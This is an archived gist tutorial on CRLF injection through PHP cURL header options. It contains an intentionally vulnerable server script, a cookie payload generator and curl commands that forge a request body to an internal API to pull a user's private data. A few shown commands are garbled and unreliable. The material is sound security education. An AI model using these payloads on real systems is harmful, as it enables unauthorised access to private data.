

CRLF Injection Into PHP's cURL Options

CRLF Injection Into PHP's cURL Options - 262588213843476, Gist.

- Published: date not stated
- Original: <<https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da>>
- Preserved from:
<https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[[image: @tomnomnom]](<https://gist.github.com/tomnomnom>)

tomnomnom / php-curl-crlf-injection.mkd

Last active July 31, 2026 07:48

Show Gist options

- [Star \(20\)](#) You must be signed in to star a gist
- [Fork \(8\)](#) You must be signed in to fork a gist

-

Embed Clone this repository at <script

```
src="https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da.js">
</script>
```

- Save tomnomnom/6727d7d3fabf5a4ab20703121a9090da to your computer and use it in GitHub Desktop.

Embed Clone this repository at <script

```
src="https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da.js">
</script>
```

Save tomnomnom/6727d7d3fabf5a4ab20703121a9090da to your computer and use it in GitHub Desktop.

[Download ZIP](#)

CRLF Injection Into PHP's cURL Options

CRLF Injection Into PHP's cURL Options

I spent the weekend meeting hackers in Vegas, and I got talking to one of them about CRLF Injection. They'd not seen many CRLF Injection vulnerabilities in the wild, so I thought I'd write up an example that's similar to something I found a few months ago.

If you're looking for bugs legally through a program like [hackerone](#), or you're a programmer wanting to write secure PHP: this might be useful to you.

Scenario

The code I found was calling an internal API using [PHP's cURL library](#), and was doing it a bit like this (note that I've swapped the remote API URL for <http://httpbin.org/post>):

```
<?php
// server.php

// Include common functions
require __DIR__ . '/common.php';

// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON :)
$ch = curl_init("http://httpbin.org/post");

// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
]);

// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
]));

// Return the response to the user
echo curl_exec($ch);

curl_close($ch);
```

Do you see the problem? How about if we take a look at `common.php`?

```
<?php
// common.php

function getTrialGroups(){
    $trialGroups = 'default';

    if (isset($_COOKIE['trialGroups'])){
        $trialGroups = $_COOKIE['trialGroups'];
    }

    return explode(",", $trialGroups);
}
```

The data returned from `getTrialGroups()` is used as part of the request in the `X-Trial-Groups` header, and `getTrialGroups()` gets its data from the user's cookies. That's a problem because cookie values are automatically [urldecoded](#) by PHP, and that means we can inject [CRLF sequences](#) into cookie values.

Setup

To demonstrate how we might exploit this, I'll use [PHP's built-in web server](#) to run the code locally:

```
► php -S localhost:1234 server.php
PHP 7.0.18-0ubuntu0.16.04.1 Development Server started at Wed Aug  2 23:45:07 2017
Listening on http://localhost:1234
Document root is /home/tom/phpcurl
Press Ctrl-C to quit.
```

Any request going to `http://localhost/` will now be handled by `server.php`. Let's use the `curl` command line client to see what a perfectly legitimate request looks like:

```
► curl -s localhost:1234
{
  "args": {},
  "data": "{\"method\":\"getPublicData\",\"params\":[]}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "default"
  },
  "json": {
    "method": "getPublicData",
    "params": []
  },
  "origin": "169.254.1.2",
  "url": "http://httpbin.org/post"
}
```

We get given the remote response from httpbin.org; showing us the headers that were sent, and the `POST` data we sent too. Now let's see what it looks like when we use a cookie to set the `newmenu` and `randomSleeps` trial groups:

```

▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234
{
  "args": {},
  "data": "{\"method\":\"getPublicData\",\"params\":[]}\",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "newmenu,randomSleeps"
  },
  "json": {
    "method": "getPublicData",
    "params": []
  },
  "origin": "169.254.1.2",
  "url": "http://httpbin.org/post"
}

```

Spot the difference? Partly for a bit of shameless self promotion I'll use `grep` and `grep` to make it a bit clearer:

```

▶ curl -s -H'Cookie: trialGroups=newmenu,randomSleeps' localhost:1234 | grep | grep X-
json.headers["X-Trial-Groups"] = "newmenu,randomSleeps";

```

The trial groups are being passed off to httpbin.org in the `X-Trial-Groups` header as expected; not a problem if the feature is used as intended.

Exploitation

Because the cookie's value is urldecoded automatically by PHP, we can use `urlencoded` CRLF characters (`%0D` and `%0A`) to inject our own headers into the request to the internal API:

```

▶ curl -s -H'Cookie: trialGroups=newmenu%0D%0AX-Footle:%20bootle' localhost:1234 | grep |
grep X-
json.headers["X-Trial-Groups"] = "newmenu";
json.headers["X-Footle"] = "bootle";

```

That `X-Footle` header is new :)

Is injecting a header into the request to the internal API really that much of a problem? Well, *maybe*. It really depends on how that API is configured: some software responds to special headers, and some servers use [name-based virtual hosting](#) so you could set the `Host` header and hit a different service. The really nasty thing to do though, is exploit a common weakness in many internal APIs: they are too trusting.

The code is calling the `getPublicData` method using an RPC-style API. It's `POST` data looks like this:

```
{
    "method": "getPublicData",
    "params": []
}
```

Many internal APIs will happily return any data they're asked for without additional authorization. So if we could change that `POST` data to something else, we might be able to get our hands on something juicy like, for example, some private data for user 4567:

```
{
    "method": "getUser",
    "params": [4567]
}
```

HTTP is a simple, line-based protocol. The general format of a `POST` request is several headers separated by CRLF sequences, then two CRLF sequences, and then `POST` data in the format specified by the `Content-Type` header.

If we inject two urlencoded CRLF sequences into our cookie value, we can inject our own `POST` data too. There's a problem with that though: in the request sent to the API our data will be immediately followed by two CRLF sequences, and then the original non-malicious data. As luck would have it however, we can just inject a [Content-Length](#) header to tell the API how many bytes to read, having it stop before the original data sent by `server.php`.

So our payload needs to comprise of:

- A dummy value for the `trialGroups`
- A CRLF sequence
- A `Content-Length` header set to the length of our JSON message
- Two CRLF sequences
- Our JSON message

All of that needs to be urlencoded and used as the value for the `trialGroups` cookie.

Rather than type that all out by hand and make a mistake, I've written a script to do it for me:

```

<?php
// payload.php

$message = json_encode([
    'method' => 'getUser',
    'params' => '4567'
]);
$length = strlen($message);

$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$message}";

echo "Cookie: trialGroups=".urlencode($payload);

```

Running that gives us a cookie header to send with our request:

```

► php payload.php
Cookie: trialGroups=ignore%0D%0AContent-
Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D

```

To keep the following examples a bit shorter, I'm going to export the cookie header as an environment variable:

```

► export CRLF_PAYLOAD="Cookie: trialGroups=ignore%0D%0AContent-
Length%3A+36%0D%0A%0D%0A%7B%22method%22%3A%22getUser%22%2C%22params%22%3A%224567%22%7D"

```

Let's try our request now:

```
► curl -s -H"$CRLF_PAYLOAD" localhost:1234
{
  "args": {},
  "data": "{\"method\":\"getUser\",\"params\":\"4567\"}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "36",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "ignore"
  },
  "json": {
    "method": "getUser",
    "params": "4567"
  },
  "origin": "169.254.1.2",
  "url": "http://httpbin.org/post"
}
```

Success! Zooming in on that with `gron` and `grep` (and an [ungron](#)) you can see that only our own `POST` data is being read by `httpbin.org`:

```
► curl -s -H"$CRLF_PAYLOAD" localhost:1234 | gron | grep json.json | gron -u
{
  "json": {
    "method": "getUser",
    "params": "4567"
  }
}
```

And now we have user 4567's details.

Other Vectors

`CURLOPT_HTTPHEADER` is not the only cURL option that's vulnerable to this problem. Several other options implicitly set headers on the request, and are therefore vulnerable too. You should not include user-controllable data in the values for:

- `CURLOPT_COOKIE`
- `CURLOPT_RANGE`
- `CURLOPT_REFERER`

- `CURLOPT_USERAGENT`
- `CURLOPT_PROXYHEADER`

If you find more please let me know :)

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

Archived from <https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da>. Rendered offline from the local Markdown copy.